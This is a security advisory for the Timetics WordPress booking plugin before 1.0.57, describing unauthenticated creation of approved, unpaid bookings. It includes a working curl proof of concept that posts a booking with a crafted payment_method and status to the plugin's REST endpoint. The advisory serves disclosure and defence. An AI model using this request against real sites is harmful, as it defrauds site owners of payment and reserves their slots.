Timetics < 1.0.57 – Unauthenticated Booking Auto-Approval via Arbitrary payment_method | CVE 2026-14322

Description

The plugin does not enforce a pending or unpaid status for new bookings created through a payment method other than its recognised gateways, allowing unauthenticated users to create fully-approved bookings for priced appointments without making any payment.

Proof of Concept

Single unauthenticated request against a bookable priced appointment:

curl -s -X POST 'https://TARGET/wp-json/timetics/v1/bookings' \
  -H 'Content-Type: application/json' \
  -d '{"first_name":"PoC","email":"poc@test.local","payment_method":"paypal",
       "appointment":<MEETING_ID>,"staff":<STAFF_ID>,
       "start_date":"2026-05-21","start_time":"12:00pm","end_time":"12:30pm",
       "timezone":"Asia/Dhaka","location_type":"attendee-call",
       "order_total":100,"status":"approved"}'

# Response: "status":"approved","order_total":"100" - the booking is created approved
# with no payment processed (confirmation emails sent, calendar event created, slot reserved).